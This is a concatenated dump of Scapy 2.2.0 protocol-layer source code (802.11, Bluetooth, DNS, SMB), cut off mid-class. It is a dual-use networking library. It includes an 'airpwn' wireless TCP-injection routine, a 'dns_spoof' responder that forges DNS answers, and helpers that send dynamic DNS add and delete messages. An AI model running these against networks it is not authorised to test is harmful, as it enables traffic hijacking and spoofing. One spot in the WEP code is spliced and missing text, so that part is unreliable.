warn=1): if self.FCfield & 0x40 == 0: if warn: warning("No WEP to remove") return if isinstance(self.payload.payload, NoPayload): if key or conf.wepkey: self.payload.decrypt(key) if isinstance(self.payload.payload, NoPayload): if warn: warning("Dot11 can't be decrypted. Check conf.wepkey.") return self.FCfield &= ~0x40 self.payload=self.payload.payload class Dot11QoS(Packet): name = "802.11 QoS" fields_desc = [ BitField("TID",None,4), BitField("EOSP",None,1), BitField("Ack Policy",None,2), BitField("Reserved",None,1), ByteField("TXOP",None) ] def guess_payload_class(self, payload): if isinstance(self.underlayer, Dot11): if self.underlayer.FCfield & 0x40: return Dot11WEP return Packet.guess_payload_class(self, payload) capability_list = [ "res8", "res9", "short-slot", "res11", "res12", "DSSS-OFDM", "res14", "res15", "ESS", "IBSS", "CFP", "CFP-req", "privacy", "short-preamble", "PBCC", "agility"] reason_code = {0:"reserved",1:"unspec", 2:"auth-expired", 3:"deauth-ST-leaving", 4:"inactivity", 5:"AP-full", 6:"class2-from-nonauth", 7:"class3-from-nonass", 8:"disas-ST-leaving", 9:"ST-not-auth"} status_code = {0:"success", 1:"failure", 10:"cannot-support-all-cap", 11:"inexist-asso", 12:"asso-denied", 13:"algo-unsupported", 14:"bad-seq-num", 15:"challenge-failure", 16:"timeout", 17:"AP-full",18:"rate-unsupported" } class Dot11Beacon(Packet): name = "802.11 Beacon" fields_desc = [ LELongField("timestamp", 0), LEShortField("beacon_interval", 0x0064), FlagsField("cap", 0, 16, capability_list) ] class Dot11Elt(Packet): name = "802.11 Information Element" fields_desc = [ ByteEnumField("ID", 0, {0:"SSID", 1:"Rates", 2: "FHset", 3:"DSset", 4:"CFset", 5:"TIM", 6:"IBSSset", 16:"challenge", 42:"ERPinfo", 46:"QoS Capability", 47:"ERPinfo", 48:"RSNinfo", 50:"ESRates",221:"vendor",68:"reserved"}), FieldLenField("len", None, "info", "B"), StrLenField("info", "", length_from=lambda x:x.len) ] def mysummary(self): if self.ID == 0: return "SSID=%s"%repr(self.info),[Dot11] else: return "" class Dot11ATIM(Packet): name = "802.11 ATIM" class Dot11Disas(Packet): name = "802.11 Disassociation" fields_desc = [ LEShortEnumField("reason", 1, reason_code) ] class Dot11AssoReq(Packet): name = "802.11 Association Request" fields_desc = [ FlagsField("cap", 0, 16, capability_list), LEShortField("listen_interval", 0x00c8) ] class Dot11AssoResp(Packet): name = "802.11 Association Response" fields_desc = [ FlagsField("cap", 0, 16, capability_list), LEShortField("status", 0), LEShortField("AID", 0) ] class Dot11ReassoReq(Packet): name = "802.11 Reassociation Request" fields_desc = [ FlagsField("cap", 0, 16, capability_list), LEShortField("listen_interval", 0x00c8), MACField("current_AP", ETHER_ANY) ] class Dot11ReassoResp(Dot11AssoResp): name = "802.11 Reassociation Response" class Dot11ProbeReq(Packet): name = "802.11 Probe Request" class Dot11ProbeResp(Packet): name = "802.11 Probe Response" fields_desc = [ LELongField("timestamp", 0), LEShortField("beacon_interval", 0x0064), FlagsField("cap", 0, 16, capability_list) ] class Dot11Auth(Packet): name = "802.11 Authentication" fields_desc = [ LEShortEnumField("algo", 0, ["open", "sharedkey"]), LEShortField("seqnum", 0), LEShortEnumField("status", 0, status_code) ] def answers(self, other): if self.seqnum == other.seqnum+1: return 1 return 0 class Dot11Deauth(Packet): name = "802.11 Deauthentication" fields_desc = [ LEShortEnumField("reason", 1, reason_code) ] class Dot11WEP(Packet): name = "802.11 WEP packet" fields_desc = [ StrFixedLenField("iv", "\0\0\0", 3), ByteField("keyid", 0), StrField("wepdata",None,remain=4), IntField("icv",None) ] def post_dissect(self, s): # self.icv, = struct.unpack("!I",self.wepdata[-4:]) # self.wepdata = self.wepdata[:-4] self.decrypt() def build_payload(self): if self.wepdata is None: return Packet.build_payload(self) return "" def post_build(self, p, pay): if self.wepdata is None: key = conf.wepkey if key: if self.icv is None: pay += struct.pack(" %IP.dst%:%TCP.dport%") def send_reply(self, reply): sendp(reply, iface=self.ifto, **self.optsend) def sniff(self): sniff(iface=self.iffrom, **self.optsniff) plst=[] def get_toDS(): global plst while 1: p,=sniff(iface="eth1",count=1) if not isinstance(p,Dot11): continue if p.FCfield & 1: plst.append(p) print "." # if not ifto.endswith("ap"): # print "iwpriv %s hostapd 1" % ifto # os.system("iwpriv %s hostapd 1" % ifto) # ifto += "ap" # # os.system("iwconfig %s mode monitor" % iffrom) # def airpwn(iffrom, ifto, replace, pattern="", ignorepattern=""): """Before using this, initialize "iffrom" and "ifto" interfaces: iwconfig iffrom mode monitor iwpriv orig_ifto hostapd 1 ifconfig ifto up note: if ifto=wlan0ap then orig_ifto=wlan0 note: ifto and iffrom must be set on the same channel ex: ifconfig eth1 up iwconfig eth1 mode monitor iwconfig eth1 channel 11 iwpriv wlan0 hostapd 1 ifconfig wlan0ap up iwconfig wlan0 channel 11 iwconfig wlan0 essid dontexist iwconfig wlan0 mode managed """ ptrn = re.compile(pattern) iptrn = re.compile(ignorepattern) def do_airpwn(p, ifto=ifto, replace=replace, ptrn=ptrn, iptrn=iptrn): if not isinstance(p,Dot11): return if not p.FCfield & 1: return if not p.haslayer(TCP): return ip = p.getlayer(IP) tcp = p.getlayer(TCP) pay = str(tcp.payload) # print "got tcp" if not ptrn.match(pay): return # print "match 1" if iptrn.match(pay): return # print "match 2" del(p.payload.payload.payload) p.FCfield="from-DS" p.addr1,p.addr2 = p.addr2,p.addr1 q = p.copy() p /= IP(src=ip.dst,dst=ip.src) p /= TCP(sport=tcp.dport, dport=tcp.sport, seq=tcp.ack, ack=tcp.seq+len(pay), flags="PA") q = p.copy() p /= replace q.ID += 1 q.getlayer(TCP).flags="RA" q.getlayer(TCP).seq+=len(replace) sendp([p,q], iface=ifto, verbose=0) # print "send",repr(p) # print "send",repr(q) print p.sprintf("Sent %IP.src%:%IP.sport% > %IP.dst%:%TCP.dport%") sniff(iface=iffrom,prn=do_airpwn) conf.stats_dot11_protocols += [Dot11WEP, Dot11Beacon, ] class Dot11PacketList(PacketList): def __init__(self, res=None, name="Dot11List", stats=None): if stats is None: stats = conf.stats_dot11_protocols PacketList.__init__(self, res, name, stats) def toEthernet(self): data = map(lambda x:x.getlayer(Dot11), filter(lambda x : x.haslayer(Dot11) and x.type == 2, self.res)) r2 = [] for p in data: q = p.copy() q.unwep() r2.append(Ether()/q.payload.payload.payload) #Dot11/LLC/SNAP/IP return PacketList(r2,name="Ether from %s"%self.listname) scapy-2.2.0/scapy/layers/bluetooth.py0000644000175000017500000001542711430356072015747 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Bluetooth layers, sockets and send/receive functions. """ import socket,struct from scapy.config import conf from scapy.packet import * from scapy.fields import * from scapy.supersocket import SuperSocket from scapy.data import MTU class HCI_Hdr(Packet): name = "HCI header" fields_desc = [ ByteEnumField("type",2,{1:"command",2:"ACLdata",3:"SCOdata",4:"event",5:"vendor"}),] def mysummary(self): return self.sprintf("HCI %type%") class HCI_ACL_Hdr(Packet): name = "HCI ACL header" fields_desc = [ ByteField("handle",0), # Actually, handle is 12 bits and flags is 4. ByteField("flags",0), # I wait to write a LEBitField LEShortField("len",None), ] def post_build(self, p, pay): p += pay if self.len is None: l = len(p)-4 p = p[:2]+chr(l&0xff)+chr((l>>8)&0xff)+p[4:] return p class L2CAP_Hdr(Packet): name = "L2CAP header" fields_desc = [ LEShortField("len",None), LEShortEnumField("cid",0,{1:"control"}),] def post_build(self, p, pay): p += pay if self.len is None: l = len(p)-4 p = p[:2]+chr(l&0xff)+chr((l>>8)&0xff)+p[4:] return p class L2CAP_CmdHdr(Packet): name = "L2CAP command header" fields_desc = [ ByteEnumField("code",8,{1:"rej",2:"conn_req",3:"conn_resp", 4:"conf_req",5:"conf_resp",6:"disconn_req", 7:"disconn_resp",8:"echo_req",9:"echo_resp", 10:"info_req",11:"info_resp"}), ByteField("id",0), LEShortField("len",None) ] def post_build(self, p, pay): p += pay if self.len is None: l = len(p)-4 p = p[:2]+chr(l&0xff)+chr((l>>8)&0xff)+p[4:] return p def answers(self, other): if other.id == self.id: if self.code == 1: return 1 if other.code in [2,4,6,8,10] and self.code == other.code+1: if other.code == 8: return 1 return self.payload.answers(other.payload) return 0 class L2CAP_ConnReq(Packet): name = "L2CAP Conn Req" fields_desc = [ LEShortEnumField("psm",0,{1:"SDP",3:"RFCOMM",5:"telephony control"}), LEShortField("scid",0), ] class L2CAP_ConnResp(Packet): name = "L2CAP Conn Resp" fields_desc = [ LEShortField("dcid",0), LEShortField("scid",0), LEShortEnumField("result",0,["no_info","authen_pend","author_pend"]), LEShortEnumField("status",0,["success","pend","bad_psm", "cr_sec_block","cr_no_mem"]), ] def answers(self, other): return self.scid == other.scid class L2CAP_CmdRej(Packet): name = "L2CAP Command Rej" fields_desc = [ LEShortField("reason",0), ] class L2CAP_ConfReq(Packet): name = "L2CAP Conf Req" fields_desc = [ LEShortField("dcid",0), LEShortField("flags",0), ] class L2CAP_ConfResp(Packet): name = "L2CAP Conf Resp" fields_desc = [ LEShortField("scid",0), LEShortField("flags",0), LEShortEnumField("result",0,["success","unaccept","reject","unknown"]), ] def answers(self, other): return self.scid == other.scid class L2CAP_DisconnReq(Packet): name = "L2CAP Disconn Req" fields_desc = [ LEShortField("dcid",0), LEShortField("scid",0), ] class L2CAP_DisconnResp(Packet): name = "L2CAP Disconn Resp" fields_desc = [ LEShortField("dcid",0), LEShortField("scid",0), ] def answers(self, other): return self.scid == other.scid class L2CAP_InfoReq(Packet): name = "L2CAP Info Req" fields_desc = [ LEShortEnumField("type",0,{1:"CL_MTU",2:"FEAT_MASK"}), StrField("data","") ] class L2CAP_InfoResp(Packet): name = "L2CAP Info Resp" fields_desc = [ LEShortField("type",0), LEShortEnumField("result",0,["success","not_supp"]), StrField("data",""), ] def answers(self, other): return self.type == other.type bind_layers( HCI_Hdr, HCI_ACL_Hdr, type=2) bind_layers( HCI_Hdr, Raw, ) bind_layers( HCI_ACL_Hdr, L2CAP_Hdr, ) bind_layers( L2CAP_Hdr, L2CAP_CmdHdr, cid=1) bind_layers( L2CAP_CmdHdr, L2CAP_CmdRej, code=1) bind_layers( L2CAP_CmdHdr, L2CAP_ConnReq, code=2) bind_layers( L2CAP_CmdHdr, L2CAP_ConnResp, code=3) bind_layers( L2CAP_CmdHdr, L2CAP_ConfReq, code=4) bind_layers( L2CAP_CmdHdr, L2CAP_ConfResp, code=5) bind_layers( L2CAP_CmdHdr, L2CAP_DisconnReq, code=6) bind_layers( L2CAP_CmdHdr, L2CAP_DisconnResp, code=7) bind_layers( L2CAP_CmdHdr, L2CAP_InfoReq, code=10) bind_layers( L2CAP_CmdHdr, L2CAP_InfoResp, code=11) class BluetoothL2CAPSocket(SuperSocket): desc = "read/write packets on a connected L2CAP socket" def __init__(self, peer): s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_L2CAP) s.connect((peer,0)) self.ins = self.outs = s def recv(self, x=MTU): return L2CAP_CmdHdr(self.ins.recv(x)) class BluetoothHCISocket(SuperSocket): desc = "read/write on a BlueTooth HCI socket" def __init__(self, iface=0x10000, type=None): s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI) s.setsockopt(socket.SOL_HCI, socket.HCI_DATA_DIR,1) s.setsockopt(socket.SOL_HCI, socket.HCI_TIME_STAMP,1) s.setsockopt(socket.SOL_HCI, socket.HCI_FILTER, struct.pack("IIIh2x", 0xffffffffL,0xffffffffL,0xffffffffL,0)) #type mask, event mask, event mask, opcode s.bind((iface,)) self.ins = self.outs = s # s.connect((peer,0)) def recv(self, x): return HCI_Hdr(self.ins.recv(x)) ## Bluetooth @conf.commands.register def srbt(peer, pkts, inter=0.1, *args, **kargs): """send and receive using a bluetooth socket""" s = conf.BTsocket(peer=peer) a,b = sndrcv(s,pkts,inter=inter,*args,**kargs) s.close() return a,b @conf.commands.register def srbt1(peer, pkts, *args, **kargs): """send and receive 1 packet using a bluetooth socket""" a,b = srbt(peer, pkts, *args, **kargs) if len(a) > 0: return a[0][1] conf.BTsocket = BluetoothL2CAPSocket scapy-2.2.0/scapy/layers/dns.py0000644000175000017500000002412711430356073014524 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ DNS: Domain Name System. """ import socket,struct from scapy.packet import * from scapy.fields import * from scapy.ansmachine import * from scapy.layers.inet import UDP class DNSStrField(StrField): def h2i(self, pkt, x): if x == "": return "." return x def i2m(self, pkt, x): if x == ".": return "\x00" x = [k[:63] for k in x.split(".")] # Truncate chunks that cannot be encoded (more than 63 bytes..) x = map(lambda y: chr(len(y))+y, x) x = "".join(x) if x[-1] != "\x00": x += "\x00" return x def getfield(self, pkt, s): n = "" if ord(s[0]) == 0: return s[1:], "." while 1: l = ord(s[0]) s = s[1:] if not l: break if l & 0xc0: raise Scapy_Exception("DNS message can't be compressed at this point!") else: n += s[:l]+"." s = s[l:] return s, n class DNSRRCountField(ShortField): holds_packets=1 def __init__(self, name, default, rr): ShortField.__init__(self, name, default) self.rr = rr def _countRR(self, pkt): x = getattr(pkt,self.rr) i = 0 while isinstance(x, DNSRR) or isinstance(x, DNSQR): x = x.payload i += 1 return i def i2m(self, pkt, x): if x is None: x = self._countRR(pkt) return x def i2h(self, pkt, x): if x is None: x = self._countRR(pkt) return x def DNSgetstr(s,p): name = "" q = 0 jpath = [p] while 1: if p >= len(s): warning("DNS RR prematured end (ofs=%i, len=%i)"%(p,len(s))) break l = ord(s[p]) p += 1 if l & 0xc0: if not q: q = p+1 if p >= len(s): warning("DNS incomplete jump token at (ofs=%i)" % p) break p = ((l & 0x3f) << 8) + ord(s[p]) - 12 if p in jpath: warning("DNS decompression loop detected") break jpath.append(p) continue elif l > 0: name += s[p:p+l]+"." p += l continue break if q: p = q return name,p class DNSRRField(StrField): holds_packets=1 def __init__(self, name, countfld, passon=1): StrField.__init__(self, name, None) self.countfld = countfld self.passon = passon def i2m(self, pkt, x): if x is None: return "" return str(x) def decodeRR(self, name, s, p): ret = s[p:p+10] type,cls,ttl,rdlen = struct.unpack("!HHIH", ret) p += 10 rr = DNSRR("\x00"+ret+s[p:p+rdlen]) if rr.type in [2, 3, 4, 5]: rr.rdata = DNSgetstr(s,p)[0] del(rr.rdlen) p += rdlen rr.rrname = name return rr,p def getfield(self, pkt, s): if type(s) is tuple : s,p = s else: p = 0 ret = None c = getattr(pkt, self.countfld) if c > len(s): warning("wrong value: DNS.%s=%i" % (self.countfld,c)) return s,"" while c: c -= 1 name,p = DNSgetstr(s,p) rr,p = self.decodeRR(name, s, p) if ret is None: ret = rr else: ret.add_payload(rr) if self.passon: return (s,p),ret else: return s[p:],ret class DNSQRField(DNSRRField): holds_packets=1 def decodeRR(self, name, s, p): ret = s[p:p+4] p += 4 rr = DNSQR("\x00"+ret) rr.qname = name return rr,p class RDataField(StrLenField): def m2i(self, pkt, s): family = None if pkt.type == 1: family = socket.AF_INET elif pkt.type == 28: family = socket.AF_INET6 elif pkt.type == 12: s = DNSgetstr(s, 0)[0] if family is not None: s = inet_ntop(family, s) return s def i2m(self, pkt, s): if pkt.type == 1: if s: s = inet_aton(s) elif pkt.type == 28: if s: s = inet_pton(socket.AF_INET6, s) elif pkt.type in [2,3,4,5]: s = "".join(map(lambda x: chr(len(x))+x, s.split("."))) if ord(s[-1]): s += "\x00" return s class RDLenField(Field): def __init__(self, name): Field.__init__(self, name, None, "H") def i2m(self, pkt, x): if x is None: rdataf = pkt.get_field("rdata") x = len(rdataf.i2m(pkt, pkt.rdata)) return x def i2h(self, pkt, x): if x is None: rdataf = pkt.get_field("rdata") x = len(rdataf.i2m(pkt, pkt.rdata)) return x class DNS(Packet): name = "DNS" fields_desc = [ ShortField("id",0), BitField("qr",0, 1), BitEnumField("opcode", 0, 4, {0:"QUERY",1:"IQUERY",2:"STATUS"}), BitField("aa", 0, 1), BitField("tc", 0, 1), BitField("rd", 0, 1), BitField("ra", 0 ,1), BitField("z", 0, 3), BitEnumField("rcode", 0, 4, {0:"ok", 1:"format-error", 2:"server-failure", 3:"name-error", 4:"not-implemented", 5:"refused"}), DNSRRCountField("qdcount", None, "qd"), DNSRRCountField("ancount", None, "an"), DNSRRCountField("nscount", None, "ns"), DNSRRCountField("arcount", None, "ar"), DNSQRField("qd", "qdcount"), DNSRRField("an", "ancount"), DNSRRField("ns", "nscount"), DNSRRField("ar", "arcount",0) ] def answers(self, other): return (isinstance(other, DNS) and self.id == other.id and self.qr == 1 and other.qr == 0) def mysummary(self): type = ["Qry","Ans"][self.qr] name = "" if self.qr: type = "Ans" if self.ancount > 0 and isinstance(self.an, DNSRR): name = ' "%s"' % self.an.rdata else: type = "Qry" if self.qdcount > 0 and isinstance(self.qd, DNSQR): name = ' "%s"' % self.qd.qname return 'DNS %s%s ' % (type, name) dnstypes = { 0:"ANY", 255:"ALL", 1:"A", 2:"NS", 3:"MD", 4:"MD", 5:"CNAME", 6:"SOA", 7: "MB", 8:"MG", 9:"MR",10:"NULL",11:"WKS",12:"PTR",13:"HINFO",14:"MINFO",15:"MX",16:"TXT", 17:"RP",18:"AFSDB",28:"AAAA", 33:"SRV",38:"A6",39:"DNAME"} dnsqtypes = {251:"IXFR",252:"AXFR",253:"MAILB",254:"MAILA",255:"ALL"} dnsqtypes.update(dnstypes) dnsclasses = {1: 'IN', 2: 'CS', 3: 'CH', 4: 'HS', 255: 'ANY'} class DNSQR(Packet): name = "DNS Question Record" show_indent=0 fields_desc = [ DNSStrField("qname",""), ShortEnumField("qtype", 1, dnsqtypes), ShortEnumField("qclass", 1, dnsclasses) ] class DNSRR(Packet): name = "DNS Resource Record" show_indent=0 fields_desc = [ DNSStrField("rrname",""), ShortEnumField("type", 1, dnstypes), ShortEnumField("rclass", 1, dnsclasses), IntField("ttl", 0), RDLenField("rdlen"), RDataField("rdata", "", length_from=lambda pkt:pkt.rdlen) ] bind_layers( UDP, DNS, dport=53) bind_layers( UDP, DNS, sport=53) @conf.commands.register def dyndns_add(nameserver, name, rdata, type="A", ttl=10): """Send a DNS add message to a nameserver for "name" to have a new "rdata" dyndns_add(nameserver, name, rdata, type="A", ttl=10) -> result code (0=ok) example: dyndns_add("ns1.toto.com", "dyn.toto.com", "127.0.0.1") RFC2136 """ zone = name[name.find(".")+1:] r=sr1(IP(dst=nameserver)/UDP()/DNS(opcode=5, qd=[DNSQR(qname=zone, qtype="SOA")], ns=[DNSRR(rrname=name, type="A", ttl=ttl, rdata=rdata)]), verbose=0, timeout=5) if r and r.haslayer(DNS): return r.getlayer(DNS).rcode else: return -1 @conf.commands.register def dyndns_del(nameserver, name, type="ALL", ttl=10): """Send a DNS delete message to a nameserver for "name" dyndns_del(nameserver, name, type="ANY", ttl=10) -> result code (0=ok) example: dyndns_del("ns1.toto.com", "dyn.toto.com") RFC2136 """ zone = name[name.find(".")+1:] r=sr1(IP(dst=nameserver)/UDP()/DNS(opcode=5, qd=[DNSQR(qname=zone, qtype="SOA")], ns=[DNSRR(rrname=name, type=type, rclass="ANY", ttl=0, rdata="")]), verbose=0, timeout=5) if r and r.haslayer(DNS): return r.getlayer(DNS).rcode else: return -1 class DNS_am(AnsweringMachine): function_name="dns_spoof" filter = "udp port 53" def parse_options(self, joker="192.168.1.1", match=None): if match is None: self.match = {} else: self.match = match self.joker=joker def is_request(self, req): return req.haslayer(DNS) and req.getlayer(DNS).qr == 0 def make_reply(self, req): ip = req.getlayer(IP) dns = req.getlayer(DNS) resp = IP(dst=ip.src, src=ip.dst)/UDP(dport=ip.sport,sport=ip.dport) rdata = self.match.get(dns.qd.qname, self.joker) resp /= DNS(id=dns.id, qr=1, qd=dns.qd, an=DNSRR(rrname=dns.qd.qname, ttl=10, rdata=rdata)) return resp scapy-2.2.0/scapy/layers/all.py0000644000175000017500000000127411430356072014505 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ All layers. Configurable with conf.load_layers. """ from scapy.config import conf from scapy.error import log_loading import logging log = logging.getLogger("scapy.loading") def _import_star(m): mod = __import__(m, globals(), locals()) for k,v in mod.__dict__.iteritems(): globals()[k] = v for _l in conf.load_layers: log_loading.debug("Loading layer %s" % _l) try: _import_star(_l) except Exception,e: log.warning("can't import layer %s: %s" % (_l,e)) scapy-2.2.0/scapy/layers/smb.py0000644000175000017500000004275411430356076014532 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ SMB (Server Message Block), also known as CIFS. """ from scapy.packet import * from scapy.fields import * from scapy.layers.netbios import NBTSession # SMB NetLogon Response Header class SMBNetlogon_Protocol_Response_Header(Packet): name="SMBNetlogon Protocol Response Header" fields_desc = [StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x25,{0x25:"Trans"}), ByteField("Error_Class",0x02), ByteField("Reserved",0), LEShortField("Error_code",4), ByteField("Flags",0), LEShortField("Flags2",0x0000), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",0), LEShortField("UID",0), LEShortField("MID",0), ByteField("WordCount",17), LEShortField("TotalParamCount",0), LEShortField("TotalDataCount",112), LEShortField("MaxParamCount",0), LEShortField("MaxDataCount",0), ByteField("MaxSetupCount",0), ByteField("unused2",0), LEShortField("Flags3",0), ByteField("TimeOut1",0xe8), ByteField("TimeOut2",0x03), LEShortField("unused3",0), LEShortField("unused4",0), LEShortField("ParamCount2",0), LEShortField("ParamOffset",0), LEShortField("DataCount",112), LEShortField("DataOffset",92), ByteField("SetupCount", 3), ByteField("unused5", 0)] # SMB MailSlot Protocol class SMBMailSlot(Packet): name = "SMB Mail Slot Protocol" fields_desc = [LEShortField("opcode", 1), LEShortField("priority", 1), LEShortField("class", 2), LEShortField("size", 135), StrNullField("name","\MAILSLOT\NET\GETDC660")] # SMB NetLogon Protocol Response Tail SAM class SMBNetlogon_Protocol_Response_Tail_SAM(Packet): name = "SMB Netlogon Protocol Response Tail SAM" fields_desc = [ByteEnumField("Command", 0x17, {0x12:"SAM logon request", 0x17:"SAM Active directory Response"}), ByteField("unused", 0), ShortField("Data1", 0), ShortField("Data2", 0xfd01), ShortField("Data3", 0), ShortField("Data4", 0xacde), ShortField("Data5", 0x0fe5), ShortField("Data6", 0xd10a), ShortField("Data7", 0x374c), ShortField("Data8", 0x83e2), ShortField("Data9", 0x7dd9), ShortField("Data10", 0x3a16), ShortField("Data11", 0x73ff), ByteField("Data12", 0x04), StrFixedLenField("Data13", "rmff", 4), ByteField("Data14", 0x0), ShortField("Data16", 0xc018), ByteField("Data18", 0x0a), StrFixedLenField("Data20", "rmff-win2k", 10), ByteField("Data21", 0xc0), ShortField("Data22", 0x18c0), ShortField("Data23", 0x180a), StrFixedLenField("Data24", "RMFF-WIN2K", 10), ShortField("Data25", 0), ByteField("Data26", 0x17), StrFixedLenField("Data27", "Default-First-Site-Name", 23), ShortField("Data28", 0x00c0), ShortField("Data29", 0x3c10), ShortField("Data30", 0x00c0), ShortField("Data31", 0x0200), ShortField("Data32", 0x0), ShortField("Data33", 0xac14), ShortField("Data34", 0x0064), ShortField("Data35", 0x0), ShortField("Data36", 0x0), ShortField("Data37", 0x0), ShortField("Data38", 0x0), ShortField("Data39", 0x0d00), ShortField("Data40", 0x0), ShortField("Data41", 0xffff)] # SMB NetLogon Protocol Response Tail LM2.0 class SMBNetlogon_Protocol_Response_Tail_LM20(Packet): name = "SMB Netlogon Protocol Response Tail LM20" fields_desc = [ByteEnumField("Command",0x06,{0x06:"LM 2.0 Response to logon request"}), ByteField("unused", 0), StrFixedLenField("DblSlash", "\\\\", 2), StrNullField("ServerName","WIN"), LEShortField("LM20Token", 0xffff)] # SMBNegociate Protocol Request Header class SMBNegociate_Protocol_Request_Header(Packet): name="SMBNegociate Protocol Request Header" fields_desc = [StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x72,{0x72:"SMB_COM_NEGOTIATE"}), ByteField("Error_Class",0), ByteField("Reserved",0), LEShortField("Error_code",0), ByteField("Flags",0x18), LEShortField("Flags2",0x0000), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",0), LEShortField("ByteCount",12)] # SMB Negociate Protocol Request Tail class SMBNegociate_Protocol_Request_Tail(Packet): name="SMB Negociate Protocol Request Tail" fields_desc=[ByteField("BufferFormat",0x02), StrNullField("BufferData","NT LM 0.12")] # SMBNegociate Protocol Response Advanced Security class SMBNegociate_Protocol_Response_Advanced_Security(Packet): name="SMBNegociate Protocol Response Advanced Security" fields_desc = [StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x72,{0x72:"SMB_COM_NEGOTIATE"}), ByteField("Error_Class",0), ByteField("Reserved",0), LEShortField("Error_Code",0), ByteField("Flags",0x98), LEShortField("Flags2",0x0000), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",17), LEShortField("DialectIndex",7), ByteField("SecurityMode",0x03), LEShortField("MaxMpxCount",50), LEShortField("MaxNumberVC",1), LEIntField("MaxBufferSize",16144), LEIntField("MaxRawSize",65536), LEIntField("SessionKey",0x0000), LEShortField("ServerCapabilities",0xf3f9), BitField("UnixExtensions",0,1), BitField("Reserved2",0,7), BitField("ExtendedSecurity",1,1), BitField("CompBulk",0,2), BitField("Reserved3",0,5), # There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94. LEIntField("ServerTimeHigh",0xD6228000L), LEIntField("ServerTimeLow",0x1C4EF94), LEShortField("ServerTimeZone",0x3c), ByteField("EncryptionKeyLength",0), LEFieldLenField("ByteCount", None, "SecurityBlob", adjust=lambda pkt,x:x-16), BitField("GUID",0,128), StrLenField("SecurityBlob", "", length_from=lambda x:x.ByteCount+16)] # SMBNegociate Protocol Response No Security # When using no security, with EncryptionKeyLength=8, you must have an EncryptionKey before the DomainName class SMBNegociate_Protocol_Response_No_Security(Packet): name="SMBNegociate Protocol Response No Security" fields_desc = [StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x72,{0x72:"SMB_COM_NEGOTIATE"}), ByteField("Error_Class",0), ByteField("Reserved",0), LEShortField("Error_Code",0), ByteField("Flags",0x98), LEShortField("Flags2",0x0000), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",17), LEShortField("DialectIndex",7), ByteField("SecurityMode",0x03), LEShortField("MaxMpxCount",50), LEShortField("MaxNumberVC",1), LEIntField("MaxBufferSize",16144), LEIntField("MaxRawSize",65536), LEIntField("SessionKey",0x0000), LEShortField("ServerCapabilities",0xf3f9), BitField("UnixExtensions",0,1), BitField("Reserved2",0,7), BitField("ExtendedSecurity",0,1), FlagsField("CompBulk",0,2,"CB"), BitField("Reserved3",0,5), # There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94. LEIntField("ServerTimeHigh",0xD6228000L), LEIntField("ServerTimeLow",0x1C4EF94), LEShortField("ServerTimeZone",0x3c), ByteField("EncryptionKeyLength",8), LEShortField("ByteCount",24), BitField("EncryptionKey",0,64), StrNullField("DomainName","WORKGROUP"), StrNullField("ServerName","RMFF1")] # SMBNegociate Protocol Response No Security No Key class SMBNegociate_Protocol_Response_No_Security_No_Key(Packet): namez="SMBNegociate Protocol Response No Security No Key" fields_desc = [StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x72,{0x72:"SMB_COM_NEGOTIATE"}), ByteField("Error_Class",0), ByteField("Reserved",0), LEShortField("Error_Code",0), ByteField("Flags",0x98), LEShortField("Flags2",0x0000), LEShortField("PIDHigh",0x0000), LELongField("Signature",0x0), LEShortField("Unused",0x0), LEShortField("TID",0), LEShortField("PID",1), LEShortField("UID",0), LEShortField("MID",2), ByteField("WordCount",17), LEShortField("DialectIndex",7), ByteField("SecurityMode",0x03), LEShortField("MaxMpxCount",50), LEShortField("MaxNumberVC",1), LEIntField("MaxBufferSize",16144), LEIntField("MaxRawSize",65536), LEIntField("SessionKey",0x0000), LEShortField("ServerCapabilities",0xf3f9), BitField("UnixExtensions",0,1), BitField("Reserved2",0,7), BitField("ExtendedSecurity",0,1), FlagsField("CompBulk",0,2,"CB"), BitField("Reserved3",0,5), # There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94. LEIntField("ServerTimeHigh",0xD6228000L), LEIntField("ServerTimeLow",0x1C4EF94), LEShortField("ServerTimeZone",0x3c), ByteField("EncryptionKeyLength",0), LEShortField("ByteCount",16), StrNullField("DomainName","WORKGROUP"), StrNullField("ServerName","RMFF1")] # Session Setup AndX Request class SMBSession_Setup_AndX_Request(Packet): name="Session Setup AndX Request" fields_desc=[StrFixedLenField("Start","\xffSMB",4), ByteEnumField("Command",0x73,{0x73:"SMB_COM_SESSION_SETUP_ANDX"}), ByteField("Error_Class",0), 